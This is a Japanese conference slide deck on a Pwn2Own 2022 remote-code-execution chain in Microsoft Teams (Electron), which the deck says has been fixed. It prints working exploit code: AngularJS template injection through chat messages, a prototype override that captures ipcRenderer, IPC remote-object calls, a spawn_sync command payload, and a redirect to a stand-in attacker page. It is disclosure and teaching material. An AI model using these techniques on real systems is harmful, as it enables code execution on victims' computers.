Shibuya.XSS techtalk #12 の発表資料です。 English version is here: https://speakerdeck.com/masatokinugawa/pwn2own2022
Pwn2OwnでMicrosoft Teamsをハッキングして2000万円を獲得した方法2023/7/25 Shibuya.XSS techtalk #12 Masato Kinugawa
View Slide
自己紹介• Masato Kinugawa• 好きな脆弱性はXSS• 2010～2016: 専業バグハンター• 2016～: Cure53で脆弱性診断
今日の話• 2022年5月に開催されたハッキングコンテストで賞金を獲得した、Microsoft Teamsで任意のコードを実行可能だった脆弱性について話します• 技術以外の話題についてはポッドキャスト「Web & BrowserSecurity」の「Webセキュリティのアレ」回で！https://podcasters.spotify.com/pod/show/shhnjk/episodes/Web-e1s9jjl/a-a923e6v
Pwn2Own (ポウンツーオウン)とは• トレンドマイクロが運営する脆弱性発見コミュニティZDI(ZeroDay Initiative)によるハッキングコンテスト• 2007年から開催• 特定の製品の(主に)任意コード実行のデモを決められた時間内に達成すると成功、賞金が支払われる• 当日のデモの様子： https://youtu.be/3fWo0E6Pa34?t=238• 報告された脆弱性はベンダーに通知される
ターゲットの例(Pwn2Own Vancouver 2022の場合)• ブラウザ(Chrome, Edge, Firefox, Safari)• デスクトップアプリ(Teams, Zoom, Adobe Reader, Office 365)• 自動車(Tesla)• VM(Virtual Box, VMware, Hyper-V)• サーバー(Microsoft Exchange, SharePoint, Windows RDP, Samba)• OS(Windows/Ubuntuの権限昇格の脆弱性)Pwn2Own Vancouver 2022 Rules (Web Archive):https://web.archive.org/web/20220516223600/https://www.zerodayinitiative.com/Pwn2OwnVancouver2022Rules.html
Microsoft Teamsについて• 言わずと知れたMicrosoft製のチャットやビデオ通話のできるコミュニケーションツール• 2つのバージョンが存在し、利用される技術が異なる• 1.x: Electron ←コンテストの対象はこっち• 2.x: Edge WebView
発見した脆弱性1. メインウィンドウでのContext Isolationの欠如2. チャットメッセージを通じたXSS3. PluginHostを通じたサンドボックス外でのJS実行➡ これらを組み合わせて任意コード実行を達成
発見した脆弱性 11. メインウィンドウでのContext Isolationの欠如2. チャットメッセージを通じたXSS3. PluginHostを通じたサンドボックス外でのJS実行
Electronとは• HTML/CSS/JavaScript(Node.js)を使ってデスクトップアプリケーションを作成するためのフレームワーク• GitHubによって開発• Electronアプリの例• Visual Studio Code• Discord• Slack• GitHub Desktop• Figma
こんな風に動くconst {BrowserWindow,app} = require('electron');app.on('ready', function() {let win = new BrowserWindow();//Open Renderer Processwin.loadURL(`file://${__dirname}/index.html`);});Hello Electron!メインプロセス(ブラウザ本体のイメージ)レンダラプロセス(ブラウザのタブのイメージ)main.js: index.html:• 2種類のプロセスが存在• ブラウザ部分はChromium
最初に注目するところconst {BrowserWindow,app} = require('electron');app.on('ready', function() {let win = new BrowserWindow();//Open Renderer Processwin.loadURL(`file://${__dirname}/index.html`);});Hello Electron!メインプロセス(ブラウザ本体のイメージ)レンダラプロセス(ブラウザのタブのイメージ)main.js:まずはここに注目するindex.html:
BrowserWindow• ブラウザウィンドウを作るAPI• このAPIのオプションに注目する• オプションによってRCEの起こりやすさが変わってくるnew BrowserWindow({webPreferences: {nodeIntegration: false,contextIsolation: false,sandbox: true[...]}});注目すべきオプション：
nodeIntegration• Webページ上でNode API(およびElectronのレンダラプロセスモジュール)を有効にするかどうか• 有効時、任意のJSを実行できれば直接require()してRCEできることになるrequire('child_process').exec('calc');今回は無効
contextIsolation• Webページ側とNode APIを使う部分の間のJSのコンテキストを分離するかどうか• Node APIを使う部分：• Electron内部のコード• Preloadスクリプト(開発者がレンダラ上で一部Node APIを使いたいときに使うもの。nodeIntegrationが無効でも使える。)これがないとどうなる？➡今回は無効
contextIsolationがないと…• 任意のJSを実行可能時、プロトタイプの書き換えなどによってnodeIntegrationが無効でもNode APIにアクセスされ得る//Web pageFunction.prototype.call = function(arg) {arg.someDangerousNodeJSFunction();}// Preload script or Electron internal codefunction someFunc(handler) {handler.call(objectContainingNodeJSFeature);}
contextIsolationがないと…• 任意のJSを実行可能時、プロトタイプの書き換えなどによってnodeIntegrationが無効でもNode APIにアクセスされ得る//Web pageFunction.prototype.call = function(arg) {arg.someDangerousNodeJSFunction();}// Preload script or Electron internal codefunction someFunc(handler) {handler.call(objectContainingNodeJSFeature);//called}
contextIsolation:true なら• プロトタイプの書き換えはNode APIが利用できる部分に影響せず、このトリックでRCEされることは無くなる//Web pageFunction.prototype.call = function(arg) {arg.someDangerousNodeJSFunction();}// Preload script or Electron internal codefunction someFunc(handler) {handler.call(objectContainingNodeJSFeature);//called}Built-inの Function.prototype.callが呼ばれる
sandbox• Chromiumのサンドボックスを使うかどうか• falseは Chromeを--no-sandbox フラグ付きで実行した状態と同じ• falseにするとメモリ破壊などのバグでRCEが容易に• 有効時はさらに、preloadスクリプトなどのNode APIが利用できるコンテキストで一部APIが使えなくなる• プログラム・OSコマンドを実行できるもの(例: shell.openExternal)• クリップボードにいきなりアクセスするもの(clipboard モジュール)• ローカルファイルにアクセスできるもの今回は有効
オプションから言えることnew BrowserWindow({webPreferences: {nodeIntegration: false,contextIsolation: false,sandbox: true}});➡任意のJS実行可能時、 sandboxによりRCEに直接繋がるようなNode APIへのアクセスは制限されるが、contextIsolationの欠如によりそれ以外のNode APIへのアクセスは得られるかもしれない状態
Node APIへのアクセスを試みる• 様々なBuilt-inメソッドのプロトタイプを上書して悪用可能なNode APIへの参照がとれないか試していると…• 上書きしたFunction.prototype.callからipcRendererモジュールへの参照がやって来た<br/>Function.prototype._call = Function.prototype.call;<br/>Function.prototype.call = function(...args) {<br/>if (args[3] && args[3].name === "__webpack_require__") {<br/>ipc = args[3]('./lib/sandboxed_renderer/api/exports/electron.ts').ipcRenderer;<br/>}<br/>return this._call(...args);<br/>}<br/>
ipcRendererモジュールconst { ipcMain } = require('electron');[...]ipcMain.handle('test', (evt, msg) => {console.log(msg);//helloreturn 'hey';});Hello Electron!メインプロセスmain.js:index.html:レンダラからメインプロセスとIPC通信する時に使うconst { ipcRenderer } = require('electron');ipcRenderer.invoke('test','hello');.then(msg=>{console.log(msg);//hey});preload.js:➡メインプロセスは完全なNode APIへのアクセスがあるのでメッセージの処理が迂闊な部分があればRCEが起きるかもレンダラプロセス
ここまでを踏まえ1 任意のJSを実行する方法を探す• XSS• 任意のサイトへのリダイレクト2 RCEに繋がる部分を探す• 1で奪ったipcRendererモジュールへの参照からIPCを通じてRCEに繋がる箇所がないか• sandbox:true でもRCEに直接繋がるAPIが公開されてないか(Electronの0-dayを見つける)contextIsolationが無く、ipcRendererの参照が取れることが分かったここからRCEするには：
発見した脆弱性 21. メインウィンドウでのContext Isolationの欠如2. チャットメッセージを通じたXSS3. PluginHostを通じたサンドボックス外でのJS実行
任意のJSを実行するアイデア• XSS• 任意のサイトへのリダイレクト• この手のRCEをするとき実行されるオリジンは通常重要でない• JSさえ実行できればNode APIを使う部分に干渉できるため• なお、Pwn2Ownのルール上、ユーザー操作なしにRCEを達成する必要がある• アプリやメッセージを開いただけで発火など有望そうなチャットメッセージを見ていくことにする➡
HTMLサニタイザを見る• チャットメッセージでは一部のHTML/CSSが使える• サーバとクライアント側それぞれでサニタイズを行った上でHTMLを表示➡サーバ側のサニタイズはブラックボックスのためクライアント側のJSからサニタイズ動作を推測することにする
クライアント側のサニタイズ• sanitize-htmlライブラリを使用 https://github.com/apostrophecms/sanitize-html• サニタイズされるものの例• スクリプトの実行(XSS)に繋がるHTML要素・属性• レイアウトを破壊するCSS意外にもここでCSS周りのサニタイズをチェックしたことがXSSの発見へ繋がることになる…➡
classのサニタイズ• クライアント側のJavaScriptでclass名の許可リストらしき文字列を発見e.htmlClasses = "swift-*,ts-image*,emojione,emoticon-*,animated-emoticon-*,copy-paste-table,hljs*,language-*,zoetrope,me-email-*,quoted-reply-color-*"• これらのclass付きのHTMLを投稿するとサーバ/クライアント側のサニタイズを通過できた• アスタリスクはワイルドカードとして作用する様子
ワイルドカード(swift-*)の動作• class名のセパレータ(0x20とか)以外はなんでも通る様子testtestところが…アイツのせいでJavaScriptの実行に繋がる？！ ➡完全に任意のclass名は追加できないから問題なし？
アイツ = AngularJS• Teamsは一部ページでクライアント側のフレームワークにAngularJSを使用していた• チャットメッセージ表示部もそのうちの1つ• 最近はReactに置き換えつつある様子AngularJSといえば➡
XSSer ♥ AngularJS• AngularJSはXSSerにとって都合の良いライブラリ• HTMLタグを使わずテンプレート記法( {{}} )でXSSできたり• unsafe-eval不要のCSPバイパスも導入しうる{{constructor.constructor('alert(1)')()}}
過去に発見されたXSS• 過去にもTeamsでAngularJSを通じたXSSが発見されている• テンプレート記法の間にヌル文字を挟むとフィルターをバイパスできていた{{3*333}\u0000}詳細：https://github.com/oskarsve/ms-teams-rce➡SPAのTeamsでこれが起こるということは…ユーザー入力から動的にAngularJSのHTMLとして(ng-appの内側にあるHTMLのように)コンパイルしている？他にもAngularJS経由のXSSが起こる箇所があるのでは？AngularJSのドキュメントを読んでいくと…
ngInitディレクティブ (1/2)• テンプレートが実行される前の初期化に使われる• 以下でHello World!が出力される{{greeting}} {{person}}!この属性値はAngularJS式と評価されるので以下で任意JSが動く：ng-init属性はもちろんサニタイズされるが…➡
ngInitディレクティブ (2/2)• ngInitはclassからも使える• 次の2つは等価：aaa ... ... 公式のドキュメント：https://docs.angularjs.org/api/ng/directive/ngInit以下もAngularJS式と評価される：classからJSが動いた！※ ng-classやng-styleなどでも動く。
classディレクティブの取り出し方aaaaaaaaaaaaCLASS_DIRECTIVE_REGEXP = /(([\w-]+)(?::([^;]+))?;?)/,正規表現で取り出していた：以下は全てngInitディレクティブとして動く：https://github.com/angular/angular.js/blob/47bf11ee94664367a26ed8c91b9b586d3dd420f5/src/ng/compile.js#L1384classに swift-* が許される動作と組み合わせると…➡
XSS！• 次のHTMLをチャットに投稿したらJSが実行されたaaa※なお、ここで今まで使ってきたconstructorを使っていないのはAngularJSのバージョンによって任意のJS実行を防止するサンドボックス(どのバージョンも不完全)があり直接constructorを使えなかったため参考：Gareth Heyesさんによるバージョン毎のAngularJS sandbox bypassのまとめhttps://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs目標はあくまでRCE、さらに続く！➡
ここまでで出来たこと• 任意のJSは実行できた• それを使ってcontextIsolationの欠如を利用しIPCRendererモジュールへの参照を取得できたRCEにつながりうる迂闊なことをするIPCリスナーがないかチェックしていくとPluginHostというレンダラが目を引いた➡
発見した脆弱性 31. メインウィンドウでのContext Isolationの欠如2. チャットメッセージを通じたXSS3. PluginHostを通じたサンドボックス外でのJS実行
PluginHost• PluginHostと名付けられたinvisibleなレンダラが存在• ここに読み込まれたslimcoreと呼ばれるNodeモジュールをメインウィンドウ側からIPC経由で操作している様子• ここは sandbox: false• slimcoreの実行にsandboxが障害になるから？"C:\Users\USER\AppData\Local\Microsoft\Teams\current\Teams.exe" --type=renderer [...] --app-path="C:\Users\USER\AppData\Local\Microsoft\Teams\current\resources\app.asar" --no-sandbox [...] /prefetch:1 --msteams-process-type=pluginHost
slimcoreはどう実行されるか• PluginHost上のpreloadスクリプトでIPCリスナーを設定し、メインウィンドウから送信されたメッセージを受け取って実行• メインウィンドウからsendToRendererSyncというAPI(参照を取得できたオブジェクトに存在)を使うとメッセージを送信可能• このAPIはipcRendererモジュールに本来存在しないのでMSが独自に拡張したもの？ELECTRON_REMOTE_SERVER_REQUIREELECTRON_REMOTE_SERVER_MEMBER_GETELECTRON_REMOTE_SERVER_FUNCTION_CALLこんな名前のIPCリスナーが存在：
IPCリスナーの役割• ELECTRON_REMOTE_SERVER_REQUIRE• require()をメッセージで指定された値を引数にして呼び出す• ただしバリデーションが存在し"slimcore"など一部のモジュールのみロード可• ELECTRON_REMOTE_SERVER_MEMBER_GET• メッセージで指定された値にプロパティアクセスを行う• ELECTRON_REMOTE_SERVER_FUNCTION_CALL• メッセージで指定された値を引数にして関数呼び出しを行う• (SETやその他の操作のリスナーもある)
こういう風に呼び出せるイメージrequire('slimcore').func('arg');1. ELECTRON_REMOTE_SERVER_REQUIREを送る3. ELECTRON_REMOTE_SERVER_FUNCTION_CALLを送る2. ELECTRON_REMOTE_SERVER_MEMBER_GETを送るふむ、何だかにおうぞ…➡
MEMBER_GETのプロパティアクセスに注目するELECTRON_REMOTE_SERVER_MEMBER_GETの中身：P(c.remoteServerMemberGet, (e,t,n,o)=>{const i = s.objectsRegistry.get(n);if (null == i)throw new Error(`Cannot get property '${o}' on missing remote object ${n}`);return A(e, t, ()=>i[o])})i がアクセス対象、oがアクセスするプロパティ。アクセスはhasOwnProperty()などの一切のチェックなしに行われている、これが意味するのは…➡
プロトタイプへのアクセスが許されるrequire('slimcore').toString.constructor('js-code')();1. REQUIRE4. FUNCTION_CALL2. MEMBER_GET 3. MEMBER_GET5. FUNCTION_CALLこれによりconstructorからFunction()にアクセスし任意のJSを実行できた：
これで何ができる？• 評価はpreloadスクリプト内で行われている• つまりNode APIへのアクセスがあるコンテキスト！• さらにsandbox:false なので使えるAPIの制限は緩い！！このコンテキストでRCEする方法 ➡
process.binding• Node.js内部で使われるrequireのようなもの• sandbox: false のときしか使えない• child_process中ではbinding('spawn_sync')が使われていて、この時の呼び出しを真似ればコマンド実行が可能：a = {"type": "pipe","readable": 1,"writable": 1};b = {"file": "cmd","args": ["/k", "start", "calc"],"stdio": [a, a]};process.binding("spawn_sync").spawn(b);これは@CapacitorSet & @denysvitaliさんによるMath.jsのRCEから学んだ：https://jwlss.pw/mathjs/
補足：require()は使えないの？require('slimcore').toString.constructor("require('child_process')...")();直接 require('child_process') を呼べばいいんじゃ？これは動かない 、なぜか ➡
requireが動かない理由Function()はグローバルスコープで実行される関数を作成するため1: function (exports, require, module, __filename, __dirname) {console.log(`1: ${arguments.callee.toString()}`);console.log(`2: ${eval('typeof require')}`);console.log(`3: ${constructor.constructor('typeof require')()}`);}2: function3: undefinedconsole.log(`1: ${arguments.callee.toString()}`);console.log(`2: ${eval('typeof require')}`);console.log(`3: ${constructor.constructor('typeof require')()}`);➡preloadスクリプトとしてロードすると関数のスコープにある
別のコマンド実行の方法• Pwn2Own参加者の@adm1nkyj1 & @jinmo123さんもIPCを通じたコマンド実行の方法を発見していた模様• ただしコマンド実行の方法が異なり、preloadスクリプト内で使用されるevalを利用してrequire('child_process')していた詳細: https://blog.pksecurity.io/2023/01/16/2022-microsoft-teams-rce.html#2-pluginhost-allows-dangerous-rpc-calls-from-any-webviewfunction loadSlimCore(slimcoreLibPath) {let slimcore;if (utility.isWebpackRuntime()) {const slimcoreLibPathWebpack = slimcoreLibPath.replace(/\\/g, "\\\\");slimcore = eval(`require('${slimcoreLibPathWebpack}')`);[...]}[...]}String.prototype.replaceを書き換えてこの戻り値を好きに変更任意の文字列がevalに渡る(direct eval callのため関数のスコープで実行、この場合requireへのアクセスがある )
全てのバグがそろった！1. メインウィンドウでのContext Isolationの欠如2. チャットメッセージを通じたXSS3. PluginHostを通じたサンドボックス外でのJS実行電卓起動までの道のりをみてみよう！ ➡
再現手順1. 攻撃者は次のJSを含むページを用意する<br/>Function.prototype._call = Function.prototype.call;<br/>Function.prototype.call = function(...args) {<br/>if (args[3] && args[3].name === "__webpack_require__") {<br/>ipc = args[3]('./lib/sandboxed_renderer/api/exports/electron.ts').ipcRenderer;<br/>}<br/>return this._call(...args);<br/>}<br/>次のページにIPCを送信するコードが続く...<br/>...<br/>ipcRendererモジュールへの参照を取得するコード：<br/>
<br/>setTimeout(function(){<br/>ipc.invoke('calling:teams:ipc:initPluginHost',true).then((id)=>{<br/>objid=ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_REQUIRE',[[],'slimcore'],'')[0]['id'];<br/>objid=ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_MEMBER_GET',[[],objid,'toString',[]],'')[0]['id'];<br/>objid=ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_MEMBER_GET',[[],objid,'constructor',[]],'')[0]['id'];<br/>objid=ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_FUNCTION_CALL',[[],objid,[{"type":"value","value":<br/>'a={"type":"pipe","readable":1,"writable":1};b={"file":"cmd","args":["/k","start","calc"],"stdio":[a,a]};<br/>process.binding("spawn_sync").spawn(b);'}]],'')[0]['id'];<br/>ipc.sendToRendererSync(id,'ELECTRON_REMOTE_SERVER_FUNCTION_CALL',[[],objid,[{"type":"value","value":""}]],'');<br/>});<br/>},2000);<br/>require('slimcore').toString.constructor('js-code')();1. REQUIRE 4. FUNCTION_CALL2. MEMBER_GET 3. MEMBER_GET5. FUNCTION_CALL上のコードはPluginHost上で以下を実行するためのIPCを送信するコード：
再現手順2. こんなHTMLをチャットメッセージとして投稿aaa
再現手順evalを解いて簡単にすると10秒後に攻撃者のサイトへナビゲーションするコードを実行するだけsetTimeout(function(){location.replace('//attacker.example.com/poc.html');},10000);さっき用意したページ※ setTimeoutの待ち時間は実際には不要。デモを判りやすくするためにあります。
再現手順3. 犠牲者はメッセージを開く(XSSがトリガーされる)
再現手順暫くするとナビゲーションが発生し細工されたページへ(https://attacker.example.com/poc.html)
再現手順とつぜん電卓が起動！！！！(https://attacker.example.com/poc.html)DEMO: https://youtu.be/TMh_WbF9VnM
全て修正された• contextIsolation: 有効になった• XSS: アスタリスクの部分で使える文字列が厳密になった• PluginHost: contextIsolationを無効にして、CSPを適用することでpreloadスクリプトでevalできないようにしたっぽい？• 特定のElectronバージョンではcontextIsolation無効だとpreloadスクリプトにもCSPが効くようだ• 最新のElectron(v25+)で試したらそもそもpreloadスクリプト中でevalが禁止されていた• "Uncaught EvalError: Code generation from strings disallowed for thiscontext"
以上です• Pwn2Ownで賞金を獲得した脆弱性について話しました• 皆も挑戦してみてね！
Thanks!!@kinugawamasato
masatokinugawa
nakasho
antimon2
lemon
ytaisei
ewolff
hirosatogamo
mkwrd
terahide
hk_shino
line_developers
yoshitake_1201
nishiuma
paulrobertlloyd
sferik
sachag
eileencodes
maltzj
vanstee
keithpitt
davidbonilla
philhawksworth
lynnandtonic
bkeepers
zakiwarfel